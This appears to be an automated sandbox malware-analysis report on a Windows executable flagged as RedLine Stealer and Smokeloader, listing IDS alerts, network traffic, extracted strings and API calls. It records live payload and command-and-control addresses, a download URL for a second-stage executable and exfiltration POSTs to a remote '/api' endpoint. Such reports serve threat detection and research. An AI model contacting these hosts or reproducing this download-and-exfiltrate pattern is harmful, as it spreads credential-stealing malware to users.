Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49983 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49981 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49980 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49707 -> 104.21.56.70:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 74Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=MUXRYZNIFQOWC43ILUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12835Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=CZBIK2RCQ0NBTXOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15052Host: skidjazzyric.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RBXVYYUNXCGFHO3WVSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20237Host: skidjazzyric.click

Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.19

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_0040273E InternetOpenW,InternetOpenUrlW,GetTempPathW,GetTempFileNameW,CreateFileW,InternetReadFile,WriteFile,CloseHandle,CloseHandle,ShellExecuteExW,WaitForSingleObject,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_0040273E

Source: global traffic	HTTP traffic detected: GET /track_prt.php?sub=0&cc=DE HTTP/1.1User-Agent: ShareScreenHost: post-to-me.com
Source: global traffic	HTTP traffic detected: GET /ScreenUpdateSync.exe HTTP/1.1User-Agent: ShareScreenHost: 176.113.115.19

Source: global traffic	DNS traffic detected: DNS query: post-to-me.com
Source: global traffic	DNS traffic detected: DNS query: skidjazzyric.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: skidjazzyric.click

Source: xHj1N8ylIf.exe, xHj1N8ylIf.exe, 00000000.00000002.2833908436.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe$m
Source: xHj1N8ylIf.exe, 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exe5rjtejk5rytrrSOFTWARE
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exeXm
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.000000000064D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.19/ScreenUpdateSync.exez
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.10.dr	String found in binary or memory: http://upx.sf.net
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/
Source: xHj1N8ylIf.exe	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=
Source: xHj1N8ylIf.exe, 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=&cc=DE
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp, xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DE
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DEDatD
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DEL
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DERDO
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DETRI
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/track_prt.php?sub=0&cc=DEam
Source: xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://post-to-me.com/~
Source: 5796.tmp.exe, 00000003.00000003.2706660509.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000002.2807478096.000000000361A000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000002.2805940961.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/
Source: 5796.tmp.exe, 00000003.00000003.2706963727.0000000000824000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706887652.000000000080B000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706660509.0000000000809000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/B
Source: 5796.tmp.exe, 00000003.00000003.2706963727.0000000000824000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706887652.000000000080B000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706660509.0000000000809000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/api
Source: 5796.tmp.exe, 00000003.00000003.2706963727.0000000000824000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706887652.000000000080B000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706660509.0000000000809000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/api9t
Source: 5796.tmp.exe, 00000003.00000002.2805940961.0000000000882000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://skidjazzyric.click/api~
Source: 5796.tmp.exe, 00000003.00000003.2732526223.00000000038B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 5796.tmp.exe, 00000003.00000003.2732526223.00000000038B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 5796.tmp.exe, 00000003.00000003.2732465947.000000000369A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: 5796.tmp.exe, 00000003.00000003.2732526223.00000000038B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: 5796.tmp.exe, 00000003.00000003.2732526223.00000000038B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: 5796.tmp.exe, 00000003.00000003.2732526223.00000000038B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 5796.tmp.exe, 00000003.00000003.2732526223.00000000038B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979

Source: unknown	HTTPS traffic detected: 104.21.56.70:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.8:49983 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Code function: 3_2_00697A60 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00697A60

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Code function: 3_2_00697A60 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_00697A60

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Code function: 3_2_00697C10 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00697C10

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2835002444.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020F234F NtdllDefWindowProc_W,PostQuitMessage,		0_2_020F234F
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020F20AB NtdllDefWindowProc_W,GetClientRect,GetDC,CreateSolidBrush,CreatePen,Rectangle,GetDeviceCaps,MulDiv,CreateFontW,SetBkMode,_wcslen,_wcslen,_wcslen,_wcslen,ReleaseDC,		0_2_020F20AB

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_00434089	0_2_00434089
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0042A19E	0_2_0042A19E
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_00424260	0_2_00424260
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0041334F	0_2_0041334F
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0042430D	0_2_0042430D
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0043A328	0_2_0043A328
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_004103C5	0_2_004103C5
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0042467F	0_2_0042467F
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0041574F	0_2_0041574F
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0042B790	0_2_0042B790
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0040B882	0_2_0040B882
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0043396F	0_2_0043396F
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_00424929	0_2_00424929
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_00424BF0	0_2_00424BF0
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_00410BAB	0_2_00410BAB
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_00424EAB	0_2_00424EAB
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02115112	0_2_02115112
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0210062C	0_2_0210062C
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0211A405	0_2_0211A405
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_021144C7	0_2_021144C7
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02114574	0_2_02114574
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_021035B6	0_2_021035B6
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020FBAE9	0_2_020FBAE9
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02114B90	0_2_02114B90
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02123BD6	0_2_02123BD6
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_021148E6	0_2_021148E6
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_021059B6	0_2_021059B6
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0211B9F7	0_2_0211B9F7
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02100E12	0_2_02100E12
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02114E57	0_2_02114E57
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0211B9F7	0_2_0211B9F7
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069D0D0	3_2_0069D0D0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00668A60	3_2_00668A60
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00682370	3_2_00682370
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00681B30	3_2_00681B30
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00678BA2	3_2_00678BA2
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0067906A	3_2_0067906A
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00697850	3_2_00697850
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00686010	3_2_00686010
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A38E0	3_2_006A38E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A38FB	3_2_006A38FB
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A38F9	3_2_006A38F9
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006780F0	3_2_006780F0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0067D8B0	3_2_0067D8B0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00687885	3_2_00687885
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0066E16E	3_2_0066E16E
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0066D172	3_2_0066D172
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00666950	3_2_00666950
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A4950	3_2_006A4950
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00666120	3_2_00666120
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0066B92C	3_2_0066B92C
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069210B	3_2_0069210B
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00663910	3_2_00663910
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00689917	3_2_00689917
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006839EB	3_2_006839EB
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068F1C1	3_2_0068F1C1
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0067F9A0	3_2_0067F9A0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0067D1B0	3_2_0067D1B0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068E9B0	3_2_0068E9B0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00681180	3_2_00681180
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0067618C	3_2_0067618C
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069099F	3_2_0069099F
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0067BA52	3_2_0067BA52
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069025E	3_2_0069025E
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00677222	3_2_00677222
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068BA20	3_2_0068BA20
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A3A30	3_2_006A3A30
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068621B	3_2_0068621B
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A42E0	3_2_006A42E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006902CD	3_2_006902CD
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006642C0	3_2_006642C0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A3AC0	3_2_006A3AC0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0066F2D0	3_2_0066F2D0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006952B0	3_2_006952B0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0066B280	3_2_0066B280
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A3B60	3_2_006A3B60
